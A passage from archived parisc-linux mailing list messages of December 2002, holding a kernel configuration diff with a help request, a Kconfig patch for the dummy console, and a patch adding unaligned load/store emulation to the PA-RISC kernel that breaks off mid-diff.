 CONFIG_IP_NF_MATCH_TCPMSS=3Dm
@@ -172,7 +173,7 @@
 # CONFIG_IP_NF_TARGET_DSCP is not set
 CONFIG_IP_NF_TARGET_MARK=3Dm
 CONFIG_IP_NF_TARGET_LOG=3Dm
-# CONFIG_IP_NF_TARGET_ULOG is not set
+CONFIG_IP_NF_TARGET_ULOG=3Dm
 CONFIG_IP_NF_TARGET_TCPMSS=3Dm
 # CONFIG_IP_NF_ARPTABLES is not set
 CONFIG_IP_NF_COMPAT_IPCHAINS=3Dm
@@ -310,12 +311,12 @@
 #
 CONFIG_BLK_DEV_SD=3Dy
 CONFIG_SD_EXTRA_DEVS=3D40
-CONFIG_CHR_DEV_ST=3Dm
+CONFIG_CHR_DEV_ST=3Dy
 # CONFIG_CHR_DEV_OSST is not set
 CONFIG_BLK_DEV_SR=3Dy
 # CONFIG_BLK_DEV_SR_VENDOR is not set
 CONFIG_SR_EXTRA_DEVS=3D2
-CONFIG_CHR_DEV_SG=3Dm
+CONFIG_CHR_DEV_SG=3Dy
 
 #
 # Some SCSI devices (e.g. CD jukebox) support multiple LUNs
@@ -370,7 +371,7 @@
 CONFIG_53C700_USE_CONSISTENT=3Dy
 # CONFIG_SCSI_NCR53C7xx is not set
 CONFIG_SCSI_SYM53C8XX_2=3Dy
-CONFIG_SCSI_SYM53C8XX_DMA_ADDRESSING_MODE=3D0
+CONFIG_SCSI_SYM53C8XX_DMA_ADDRESSING_MODE=3D1
 CONFIG_SCSI_SYM53C8XX_DEFAULT_TAGS=3D16
 CONFIG_SCSI_SYM53C8XX_MAX_TAGS=3D64
 # CONFIG_SCSI_SYM53C8XX_IOMAPPED is not set
@@ -381,7 +382,7 @@
 CONFIG_ASK_ZALON=3Dy
 CONFIG_SCSI_NCR53C8XX_DEFAULT_TAGS=3D8
 CONFIG_SCSI_NCR53C8XX_MAX_TAGS=3D32
-CONFIG_SCSI_NCR53C8XX_SYNC=3D80
+CONFIG_SCSI_NCR53C8XX_SYNC=3D20
 # CONFIG_SCSI_NCR53C8XX_PROFILE is not set
 # CONFIG_SCSI_NCR53C8XX_IOMAPPED is not set
 # CONFIG_SCSI_NCR53C8XX_SYMBIOS_COMPAT is not set
@@ -444,7 +445,7 @@
 # CONFIG_HP100 is not set
 # CONFIG_NET_ISA is not set
 CONFIG_NET_PCI=3Dy
-# CONFIG_PCNET32 is not set
+CONFIG_PCNET32=3Dm
 CONFIG_ADAPTEC_STARFIRE=3Dm
 # CONFIG_AC3200 is not set
 # CONFIG_APRICOT is not set
@@ -483,7 +484,7 @@
 #
 # Ethernet (1000 Mbit)
 #
-CONFIG_ACENIC=3Dm
+# CONFIG_ACENIC is not set
 # CONFIG_ACENIC_OMIT_TIGON_I is not set
 # CONFIG_DL2K is not set
 # CONFIG_E1000 is not set
@@ -492,7 +493,7 @@
 CONFIG_HAMACHI=3Dm
 CONFIG_YELLOWFIN=3Dm
 CONFIG_SK98LIN=3Dm
-# CONFIG_TIGON3 is not set
+CONFIG_TIGON3=3Dm
 # CONFIG_FDDI is not set
 # CONFIG_HIPPI is not set
 # CONFIG_PLIP is not set
@@ -533,8 +534,8 @@
 # Input core support
 #
 CONFIG_INPUT=3Dy
-CONFIG_INPUT_KEYBDEV=3Dm
-CONFIG_INPUT_MOUSEDEV=3Dm
+CONFIG_INPUT_KEYBDEV=3Dy
+CONFIG_INPUT_MOUSEDEV=3Dy
 CONFIG_INPUT_MOUSEDEV_SCREEN_X=3D1024
 CONFIG_INPUT_MOUSEDEV_SCREEN_Y=3D768
 # CONFIG_INPUT_JOYDEV is not set
@@ -550,7 +551,25 @@
 CONFIG_SERIAL_CONSOLE=3Dy
 CONFIG_SERIAL_GSC=3Dy
 # CONFIG_SERIAL_EXTENDED is not set
-# CONFIG_SERIAL_NONSTANDARD is not set
+CONFIG_SERIAL_NONSTANDARD=3Dy
+# CONFIG_COMPUTONE is not set
+# CONFIG_ROCKETPORT is not set
+# CONFIG_CYCLADES is not set
+# CONFIG_DIGIEPCA is not set
+# CONFIG_DIGI is not set
+# CONFIG_ESPSERIAL is not set
+# CONFIG_MOXA_INTELLIO is not set
+# CONFIG_MOXA_SMARTIO is not set
+# CONFIG_ISI is not set
+# CONFIG_SYNCLINK is not set
+# CONFIG_SYNCLINKMP is not set
+# CONFIG_N_HDLC is not set
+# CONFIG_RISCOM8 is not set
+# CONFIG_SPECIALIX is not set
+# CONFIG_SX is not set
+# CONFIG_RIO is not set
+# CONFIG_STALDRV is not set
+CONFIG_PDC_CONSOLE=3Dy
 CONFIG_UNIX98_PTYS=3Dy
 CONFIG_UNIX98_PTY_COUNT=3D256
 CONFIG_PRINTER=3Dy
@@ -581,7 +600,7 @@
 # CONFIG_INPUT_PCIGAME is not set
 # CONFIG_INPUT_CS461X is not set
 # CONFIG_INPUT_EMU10K1 is not set
-# CONFIG_INPUT_SERIO is not set
+CONFIG_INPUT_SERIO=3Dy
 # CONFIG_INPUT_SERPORT is not set
 
 #
@@ -644,15 +663,14 @@
 #
 CONFIG_HP_SDC=3Dy
 # CONFIG_HP_SDC_RTC is not set
-# CONFIG_HIL_MLC is not set
-
-#
-#   Serial IO support needed for HIL keyboard and mouse support
-#
+CONFIG_HIL_MLC=3Dy
+CONFIG_HP_SDC_MLC=3Dy
 
 #
 #  HIL device driver
 #
+CONFIG_HIL_KBD=3Dy
+CONFIG_HIL_PTR=3Dy
 
 #
 # Multimedia devices
@@ -677,7 +695,7 @@
 # CONFIG_BFS_FS is not set
 CONFIG_EXT3_FS=3Dy
 CONFIG_JBD=3Dy
-CONFIG_JBD_DEBUG=3Dy
+# CONFIG_JBD_DEBUG is not set
 CONFIG_FAT_FS=3Dm
 CONFIG_MSDOS_FS=3Dm
 # CONFIG_UMSDOS_FS is not set
@@ -691,7 +709,7 @@
 CONFIG_ISO9660_FS=3Dy
 CONFIG_JOLIET=3Dy
 # CONFIG_ZISOFS is not set
-CONFIG_JFS_FS=3Dy
+# CONFIG_JFS_FS is not set
 # CONFIG_JFS_DEBUG is not set
 # CONFIG_JFS_STATISTICS is not set
 CONFIG_MINIX_FS=3Dm
@@ -962,7 +980,7 @@
 # Kernel hacking
 #
 CONFIG_MAGIC_SYSRQ=3Dy
-# CONFIG_DEBUG_SPINLOCK is not set
+CONFIG_DEBUG_SPINLOCK=3Dy
 
 #
 # Library routines

Is somebody see what could be wrong (It would also help me for 2.5 with
which met the same pb a time ago)?

See you next year.

Thanks again ,
    Joel


*************************************************************************=
*******
Controlez mieux votre consommation Internet...surfez Tiscali Complete...h=
ttp://tiscali.complete.be





From - Thu Nov 08 21:26:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [2.5 patch] dummy console Kconfig fix
Date: Thu, 19 Dec 2002 20:11:11 +0000 (UTC)
Lines: 62
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.44.0212192006300.647-100000@e0-0.zab2.int.zabbadoz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622041 18837 80.91.229.3 (22 Nov 2014 02:07:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:21 +0000 (UTC)
Cc: patch@zabbadoz.net
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec 19 13:16:42 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from transport.cksoft.de (transport.cksoft.de [62.111.66.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5FCF04829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 19 Dec 2002 13:16:42 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by transport.cksoft.de (Postfix) with ESMTP id 508751FFF42
	for <parisc-linux@lists.parisc-linux.org>; Thu, 19 Dec 2002 21:16:26 +0100 (CET)
Original-Received: by transport.cksoft.de (Postfix, from userid 66)
	id 935E01FFBAD; Thu, 19 Dec 2002 21:16:25 +0100 (CET)
Original-Received: by mail.int.zabbadoz.net (Postfix, from userid 1060)
	id B369515338; Thu, 19 Dec 2002 20:11:11 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
	by mail.int.zabbadoz.net (Postfix) with ESMTP
	id AA4841532B; Thu, 19 Dec 2002 20:11:11 +0000 (UTC)
X-X-Sender: bz@e0-0.zab2.int.zabbadoz.net
X-Virus-Scanned: by AMaViS snapshot-20020300
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17163

Hi,

DUMMY_CONSOLE also needs _ROWS and _COLUMNS.

#
# Console display driver support
#
# CONFIG_VGA_CONSOLE is not set
# CONFIG_MDA_CONSOLE is not set
# CONFIG_STI_CONSOLE is not set
CONFIG_DUMMY_CONSOLE=y
CONFIG_DUMMY_CONSOLE_COLUMNS=160
CONFIG_DUMMY_CONSOLE_ROWS=64


--- drivers/video/console/Kconfig.orig	2002-12-19 18:45:38.000000000 +0000
+++ drivers/video/console/Kconfig	2002-12-19 18:47:14.000000000 +0000
@@ -74,9 +74,21 @@
           machines.  Say Y here to build support for it into your kernel.
           The alternative is to use your primary serial port as a console.

+config PROM_CONSOLE
+	bool "PROM console"
+	depends on SPARC32 || SPARC64
+	help
+	  Say Y to build a console driver for Sun machines that uses the
+	  terminal emulation built into their console PROMS.
+
+config DUMMY_CONSOLE
+	bool
+	depends on !PROM_CONSOLE=y || VGA_CONSOLE!=y || SGI_NEWPORT_CONSOLE!=y || !IODC_CONSOLE && GSC_PS2
+	default y
+
 config DUMMY_CONSOLE_COLUMNS
         int "Initial number of STI console screen columns" if STI_CONSOLE
-        depends on STI_CONSOLE || FB_STI
+        depends on STI_CONSOLE || FB_STI || DUMMY_CONSOLE
         default "160"
         help
           The default value is 160, which should fit a 1280x1024 monitor.
@@ -84,24 +96,12 @@

 config DUMMY_CONSOLE_ROWS
         int "Initial number of STI console screen rows" if STI_CONSOLE
-        depends on STI_CONSOLE || FB_STI
+        depends on STI_CONSOLE || FB_STI || DUMMY_CONSOLE
         default "64"
         help
           The default value is 64, which should fit a 1280x1024 monitor.
           Select 25 if you use a 640x480 resolution by default.

-config PROM_CONSOLE
-	bool "PROM console"
-	depends on SPARC32 || SPARC64
-	help
-	  Say Y to build a console driver for Sun machines that uses the
-	  terminal emulation built into their console PROMS.
-
-config DUMMY_CONSOLE
-	bool
-	depends on !PROM_CONSOLE=y || VGA_CONSOLE!=y || SGI_NEWPORT_CONSOLE!=y || !IODC_CONSOLE && GSC_PS2
-	default y

From - Thu Nov 08 21:26:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: lamont@b180.mmjgroup.com (LaMont Jones)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] patch to unaligned.c
Date: Thu, 19 Dec 2002 16:09:40 -0700
Lines: 533
Approved: news@gmane.org
Message-ID: <20021219230940.GA661@b180.mmjgroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622042 18838 80.91.229.3 (22 Nov 2014 02:07:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:22 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec 19 16:09:48 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dh64.b180 (b180.mmjgroup.com [192.34.35.37])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3E1D34829
	for <parisc-linux@parisc-linux.org>; Thu, 19 Dec 2002 16:09:47 -0700 (MST)
Original-Received: by dh64.b180 (Postfix, from userid 1000)
	id E9261272D1; Thu, 19 Dec 2002 16:09:40 -0700 (MST)
Content-Disposition: inline
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17164

The patch below fixes base register modificiation in the unaligned
load/store code.  It still doesn't do floating point load/stores, and
I'll work on those later.  In the meantime, this will deal with lots
of issues around base reg modification not happening.

Part of the unrolling is a precursor to adding floating point stuff.

lamont

Index: arch/parisc/kernel/unaligned.c
===================================================================
RCS file: /var/cvs/linux/arch/parisc/kernel/unaligned.c,v
retrieving revision 1.11
diff -u -r1.11 unaligned.c
--- arch/parisc/kernel/unaligned.c	24 Sep 2002 05:52:46 -0000	1.11
+++ arch/parisc/kernel/unaligned.c	19 Dec 2002 23:00:36 -0000
@@ -66,28 +66,28 @@
 #define OPCODE3_MASK	OPCODE3(0x3f,1)
 #define OPCODE4_MASK    OPCODE4(0x3f)
 
-/* skip LDB (index) */
+/* skip LDB - never unaligned (index) */
 #define OPCODE_LDH_I	OPCODE1(0x03,0,0x1)
 #define OPCODE_LDW_I	OPCODE1(0x03,0,0x2)
 #define OPCODE_LDD_I	OPCODE1(0x03,0,0x3)
 #define OPCODE_LDDA_I	OPCODE1(0x03,0,0x4)
-/* skip LDCD (index) */
+#define OPCODE_LDCD_I	OPCODE1(0x03,0,0x5)
 #define OPCODE_LDWA_I	OPCODE1(0x03,0,0x6)
-/* skip LDCW (index) */
-/* skip LDB (short) */
+#define OPCODE_LDCW_I	OPCODE1(0x03,0,0x7)
+/* skip LDB - never unaligned (short) */
 #define OPCODE_LDH_S	OPCODE1(0x03,1,0x1)
 #define OPCODE_LDW_S	OPCODE1(0x03,1,0x2)
 #define OPCODE_LDD_S	OPCODE1(0x03,1,0x3)
 #define OPCODE_LDDA_S	OPCODE1(0x03,1,0x4)
-/* skip LDCD (short) */
+#define OPCODE_LDCD_S	OPCODE1(0x03,1,0x5)
 #define OPCODE_LDWA_S	OPCODE1(0x03,1,0x6)
-/* skip LDCW (short) */
-/* skip STB */
+#define OPCODE_LDCW_S	OPCODE1(0x03,1,0x7)
+/* skip STB - never unaligned */
 #define OPCODE_STH	OPCODE1(0x03,1,0x9)
 #define OPCODE_STW	OPCODE1(0x03,1,0xa)
 #define OPCODE_STD	OPCODE1(0x03,1,0xb)
-/* skip STBY */
-/* skip STDBY */
+/* skip STBY - never unaligned */
+/* skip STDBY - never unaligned */
 #define OPCODE_STWA	OPCODE1(0x03,1,0xe)
 #define OPCODE_STDA	OPCODE1(0x03,1,0xf)
 
@@ -103,15 +103,107 @@
 
 #define OPCODE_LDH_L    OPCODE4(0x11)
 #define OPCODE_LDW_L    OPCODE4(0x12)
-#define OPCODE_LDW_L2   OPCODE4(0x13)
+#define OPCODE_LDWM     OPCODE4(0x13)
 #define OPCODE_STH_L    OPCODE4(0x19)
 #define OPCODE_STW_L    OPCODE4(0x1A)
-#define OPCODE_STW_L2   OPCODE4(0x1B)
+#define OPCODE_STWM     OPCODE4(0x1B)
+
+#define MAJOR_OP(i) (((i)>>26)&0x3f)
+#define R1(i) (((i)>>21)&0x1f)
+#define R2(i) (((i)>>16)&0x1f)
+#define R3(i) ((i)&0x1f)
+#define IM(i,n) (((i)>>1&((1<<(n-1))-1))|((i)&1?((0-1L)<<(n-1)):0))
+#define IM5_2(i) IM((i)>>16,5)
+#define IM5_3(i) IM((i),5)
+#define IM14(i) IM((i),14)
 
 int unaligned_enabled = 1;
 
 void die_if_kernel (char *str, struct pt_regs *regs, long err);
 
+static int emulate_ldh(struct pt_regs *regs, int toreg)
+{
+	unsigned long saddr = regs->ior;
+	unsigned long val = 0;
+
+	DPRINTF("load " RFMT ":" RFMT " to r%d for 2 bytes\n", 
+		regs->isr, regs->ior, toreg);
+
+	__asm__ __volatile__  (
+"       mtsp	%3, %%sr1\n"
+"	ldbs	0(%%sr1,%2), %%r20\n"
+"	ldbs	1(%%sr1,%2), %0\n"
+	"depw	%%r20, 23, 24, %0\n"
+	: "=r" (val)
+	: "0" (val), "r" (saddr), "r" (regs->isr)
+	: "r20" );
+
+	DPRINTF("val = 0x" RFMT "\n", val);
+
+	if (toreg)
+		regs->gr[toreg] = val;
+
+	return 0;
+}
+static int emulate_ldw(struct pt_regs *regs, int toreg)
+{
+	unsigned long saddr = regs->ior;
+	unsigned long val = 0;
+
+	DPRINTF("load " RFMT ":" RFMT " to r%d for 4 bytes\n", 
+		regs->isr, regs->ior, toreg);
+
+	__asm__ __volatile__  (
+"	zdep	%2,28,2,%%r19\n"		/* r19=(ofs&3)*8 */
+"	mtsp	%3, %%sr1\n"
+"	depw	%%r0,31,2,%2\n"
+"	ldw	0(%%sr1,%2),%0\n"
+"	ldw	4(%%sr1,%2),%%r20\n"
+"	subi	32,%%r19,%%r19\n"
+"	mtctl	%%r19,11\n"
+"	vshd	%0,%%r20,%0\n"
+	: "=r" (val)
+	: "0" (val), "r" (saddr), "r" (regs->isr)
+	: "r19", "r20" );
+
+	DPRINTF("val = 0x" RFMT "\n", val);
+
+	if (toreg)
+		regs->gr[toreg] = val;
+
+	return 0;
+}
+#ifdef __LP64__
+static int emulate_ldd(struct pt_regs *regs, int toreg)
+{
+	unsigned long saddr = regs->ior;
+	unsigned long val = 0;
+
+	DPRINTF("load " RFMT ":" RFMT " to r%d for 8 bytes\n", 
+		regs->isr, regs->ior, toreg);
+
+	__asm__ __volatile__  (
+"	zdepd	%2,60,3,%%r19\n"		/* r19=(ofs&7)*8 */
+"       mtsp	%3, %%sr1\n"
+"	depd	%%r0,63,3,%2\n"
+"	ldd	0(%%sr1,%2),%0\n"
+"	ldd	8(%%sr1,%2),%%r20\n"
+"	subi	64,%%r19,%%r19\n"
+"	mtsar	%%r19\n"
+"	shrpd	%0,%%r20,%sar,%0\n"
+	: "=r" (val)
+	: "0" (val), "r" (saddr), "r" (regs->isr)
+	: "r19", "r20" );
+
+	DPRINTF("val = 0x" RFMT "\n", val);
+
+	if (toreg)
+		regs->gr[toreg] = val;
+
+	return 0;
+}
+#endif
+#if 0
 static int emulate_load(struct pt_regs *regs, int len, int toreg)
 {
 	unsigned long saddr = regs->ior;
@@ -159,19 +251,144 @@
 
 	DPRINTF("val = 0x" RFMT "\n", val);
 
-	regs->gr[toreg] = val;
+	if (toreg)
+		regs->gr[toreg] = val;
 
 	return ret;
 }
+#endif
+
+static int emulate_sth(struct pt_regs *regs, int frreg)
+{
+	unsigned long val = regs->gr[frreg];
+	if (!frreg)
+		val = 0;
+
+	DPRINTF("store r%d (0x" RFMT ") to " RFMT ":" RFMT " for 2 bytes\n", frreg, 
+		regs->gr[frreg], regs->isr, regs->ior);
+
+	__asm__ __volatile__ (
+"       mtsp %2, %%sr1\n"
+"	extrw,u %0, 23, 8, %%r19\n"
+"	stb %0, 1(%%sr1, %1)\n"
+"	stb %%r19, 0(%%sr1, %1)\n"
+	:
+	: "r" (val), "r" (regs->ior), "r" (regs->isr)
+	: "r19" );
+
+	return 0;
+}
+static int emulate_stw(struct pt_regs *regs, int frreg)
+{
+	unsigned long val = regs->gr[frreg];
+	if (!frreg)
+		val = 0;
+
+	DPRINTF("store r%d (0x" RFMT ") to " RFMT ":" RFMT " for 4 bytes\n", frreg, 
+		regs->gr[frreg], regs->isr, regs->ior);
+
+
+	__asm__ __volatile__ (
+"       mtsp %2, %%sr1\n"
+#if 0
+"	extru	%0,  7, 8, %%r19\n"
+"	extru	%0, 15, 8, %%r20\n"
+"	extru	%0, 23, 8, %%r21\n"
+"	stb	%%r19, 0(%%sr1, %1)\n"
+"	stb	%%r20, 1(%%sr1, %1)\n"
+"	stb	%%r21, 2(%%sr1, %1)\n"
+"	stb	%0, 3(%%sr1, %1)\n"
+	:
+	: "r" (val), "r" (regs->ior), "r" (regs->isr)
+	: "r19", "r20", "r21" );
+#else
+"	zdep	%1, 28, 2, %%r19\n"
+"	dep	%%r0, 31, 2, %1\n"
+"	mtsar	%%r19\n"
+"	zvdepi	-2, 32, %%r19\n"
+"	ldw	0(%%sr1,%1),%%r20\n"
+"	ldw	4(%%sr1,%1),%%r21\n"
+"	vshd	%%r0, %0, %%r22\n"
+"	vshd	%0, %%r0, %%r1\n"
+"	and	%%r20, %%r19, %%r20\n"
+"	andcm	%%r21, %%r19, %%r21\n"
+"	or	%%r22, %%r20, %%r20\n"
+"	or	%%r1, %%r21, %%r21\n"
+"	stw	%%r20,0(%%sr1,%1)\n"
+"	stw	%%r21,4(%%sr1,%1)\n"
+	:
+	: "r" (val), "r" (regs->ior), "r" (regs->isr)
+	: "r19", "r20", "r21", "r22", "r1" );
+#endif
 
+	return 0;
+}
+#ifdef __LP64__
+static int emulate_std(struct pt_regs *regs, int frreg)
+{
+	unsigned long val = regs->gr[frreg];
+	if (!frreg)
+		val = 0;
+
+	DPRINTF("store r%d (0x" RFMT ") to " RFMT ":" RFMT " for 8 bytes\n", frreg, 
+		regs->gr[frreg], regs->isr, regs->ior);
+
+
+	__asm__ __volatile__ (
+"       mtsp %2, %%sr1\n"
+#if 0
+"	extrd	%0,  7, 8, %%r19\n"
+"	extrd	%0, 15, 8, %%r20\n"
+"	stb	%%r19, 0(%%sr1, %1)\n"
+"	stb	%%r20, 1(%%sr1, %1)\n"
+"	extrd	%0, 23, 8, %%r19\n"
+"	extrd	%0, 31, 8, %%r20\n"
+"	stb	%%r19, 2(%%sr1, %1)\n"
+"	stb	%%r20, 3(%%sr1, %1)\n"
+"	extrd	%0, 39, 8, %%r19\n"
+"	extrd	%0, 47, 8, %%r20\n"
+"	extrd	%0, 55, 8, %%r21\n"
+"	stb	%%r19, 4(%%sr1, %1)\n"
+"	stb	%%r20, 5(%%sr1, %1)\n"
+"	stb	%%r21, 6(%%sr1, %1)\n"
+"	stb	%0, 7(%%sr1, %1)\n"
+	: 
+	: "r" (val), "r" (regs->ior), "r" (regs->isr)
+	: "r19", "r20", "r21" );
+#else
+"	depd,z	%1, 60, 3, %%r19\n"
+"	depd	%%r0, 63, 3, %1\n"
+"	mtsar	%%r19\n"
+"	depdi,z	-2, 64, %%r19\n"
+"	ldd	0(%%sr1,%1),%%r20\n"
+"	ldd	8(%%sr1,%1),%%r21\n"
+"	shrpd	%%r0, %0, %sar, %%r22\n"
+"	shrpd	%0, %%r0, %sar, %%r1\n"
+"	and	%%r20, %%r19, %%r20\n"
+"	andcm	%%r21, %%r19, %%r21\n"
+"	or	%%r22, %%r20, %%r20\n"
+"	or	%%r1, %%r21, %%r21\n"
+"	std	%%r20,0(%%sr1,%1)\n"
+"	std	%%r21,8(%%sr1,%1)\n"
+	:
+	: "r" (val), "r" (regs->ior), "r" (regs->isr)
+	: "r19", "r20", "r21", "r22", "r1" );
+#endif
+
+	return 0;
+}
+#endif
+#if 0
 static int emulate_store(struct pt_regs *regs, int len, int frreg)
 {
 	int ret = 0;
 #ifdef __LP64__
-	unsigned long val = regs->gr[frreg] << (64 - (len << 3));
+        unsigned long val = regs->gr[frreg] << (64 - (len << 3));
 #else
-	unsigned long val = regs->gr[frreg] << (32 - (len << 3));
+        unsigned long val = regs->gr[frreg] << (32 - (len << 3));
 #endif
+	if (!frreg)
+		val = 0;
 
 	if (regs->isr != regs->sr[7])
 	{
@@ -220,12 +437,15 @@
 
 	return ret;
 }
+#endif
 
 
 void handle_unaligned(struct pt_regs *regs)
 {
 	unsigned long unaligned_count = 0;
 	unsigned long last_time = 0;
+	unsigned long newbase = regs->gr[R1(regs->iir)];
+	int modify = 0;
 	int ret = -1;
 	struct siginfo si;
 
@@ -284,83 +504,169 @@
 	if (!unaligned_enabled)
 		goto force_sigbus;
 
+	/* handle modification - OK, it's ugly, see the instruction manual */
+	switch (MAJOR_OP(regs->iir))
+	{
+	case 0x03:
+	case 0x09:
+	case 0x0b:
+		if (regs->iir&0x20)
+		{
+			modify = 1;
+			if (regs->iir&0x1000)		/* short loads */
+				if (regs->iir&0x200)
+					newbase += IM5_3(regs->iir);
+				else
+					newbase += IM5_2(regs->iir);
+			else if (regs->iir&0x2000)	/* scaled indexed */
+			{
+				int shift=0;
+				switch (regs->iir & OPCODE1_MASK)
+				{
+				case OPCODE_LDH_I:
+					shift= 1; break;
+				case OPCODE_LDW_I:
+					shift= 2; break;
+				case OPCODE_LDD_I:
+				case OPCODE_LDDA_I:
+					shift= 3; break;
+				}
+				newbase += regs->gr[R2(regs->iir)]<<shift;
+			} else				/* simple indexed */
+				newbase += regs->gr[R2(regs->iir)];
+		}
+		break;
+	case 0x13:
+	case 0x1b:
+		modify = 1;
+		newbase += IM14(regs->iir);
+		break;
+	case 0x14:
+	case 0x1c:
+		if (regs->iir&8)
+		{
+			modify = 1;
+			newbase += IM14(regs->iir&~0xe);
+		}
+		break;
+	case 0x16:
+	case 0x1e:
+		modify = 1;
+		newbase += IM14(regs->iir&6);
+		break;
+	case 0x17:
+	case 0x1f:
+		if (regs->iir&4)
+		{
+			modify = 1;
+			newbase += IM14(regs->iir&~4);
+		}
+		break;
+	}
+
+	if (regs->isr != regs->sr[7])
+	{
+		printk(KERN_CRIT "isr verification failed (isr: " RFMT ", sr7: " RFMT "\n",
+			regs->isr, regs->sr[7]);
+
+		/* don't kill him though, since he has appropriate access to the page, or we
+		 * would never have gotten here.
+		 */
+	}
+
 	/* TODO: make this cleaner... */
 	switch (regs->iir & OPCODE1_MASK)
 	{
 	case OPCODE_LDH_I:
 	case OPCODE_LDH_S:
-		ret = emulate_load(regs, 2, regs->iir & 0x1f);
+		ret = emulate_ldh(regs, R3(regs->iir));
 		break;
 
 	case OPCODE_LDW_I:
 	case OPCODE_LDWA_I:
 	case OPCODE_LDW_S:
 	case OPCODE_LDWA_S:
-		ret = emulate_load(regs, 4, regs->iir&0x1f);
-		break;
-
-	case OPCODE_LDD_I:
-	case OPCODE_LDDA_I:
-	case OPCODE_LDD_S:
-	case OPCODE_LDDA_S:
-		ret = emulate_load(regs, 8, regs->iir&0x1f);
+		ret = emulate_ldw(regs, R3(regs->iir));
 		break;
 
 	case OPCODE_STH:
-		ret = emulate_store(regs, 2, (regs->iir>>16)&0x1f);
+		ret = emulate_sth(regs, R2(regs->iir));
 		break;
 
 	case OPCODE_STW:
 	case OPCODE_STWA:
-		ret = emulate_store(regs, 4, (regs->iir>>16)&0x1f);
+		ret = emulate_stw(regs, R2(regs->iir));
+		break;
+
+#ifdef __LP64__
+	case OPCODE_LDD_I:
+	case OPCODE_LDDA_I:
+	case OPCODE_LDD_S:
+	case OPCODE_LDDA_S:
+		ret = emulate_ldd(regs, R3(regs->iir));
 		break;
 
 	case OPCODE_STD:
 	case OPCODE_STDA:
-		ret = emulate_store(regs, 8, (regs->iir>>16)&0x1f);
+		ret = emulate_std(regs, R2(regs->iir));
+		break;
+#endif
+
+	case OPCODE_LDCD_I:
+	case OPCODE_LDCW_I:
+	case OPCODE_LDCD_S:
+	case OPCODE_LDCW_S:
+		ret = -1;	/* "undefined", but lets kill them. */
 		break;
 	}
+#ifdef __LP64__
 	switch (regs->iir & OPCODE2_MASK)
 	{
 	case OPCODE_LDD_L:
 	case OPCODE_FLDD_L:
-		ret = emulate_load(regs, 8, (regs->iir>>16)&0x1f);
+		ret = emulate_ldd(regs, R2(regs->iir));
 		break;
 
 	case OPCODE_STD_L:
 	case OPCODE_FSTD_L:
-		ret = emulate_store(regs, 8, (regs->iir>>16)&0x1f);
+		ret = emulate_std(regs, R2(regs->iir));
 		break;
 	}
+#endif
 	switch (regs->iir & OPCODE3_MASK)
 	{
 	case OPCODE_LDW_M:
 	case OPCODE_FLDW_L:
-		ret = emulate_load(regs, 4, (regs->iir>>16)&0x1f);
+		ret = emulate_ldw(regs, R2(regs->iir));
 		break;
 
 	case OPCODE_FSTW_L:
 	case OPCODE_STW_M:
-		ret = emulate_store(regs, 4, (regs->iir>>16)&0x1f);
+		ret = emulate_stw(regs, R2(regs->iir));
 		break;
 	}
 	switch (regs->iir & OPCODE4_MASK)
 	{
 	case OPCODE_LDH_L:
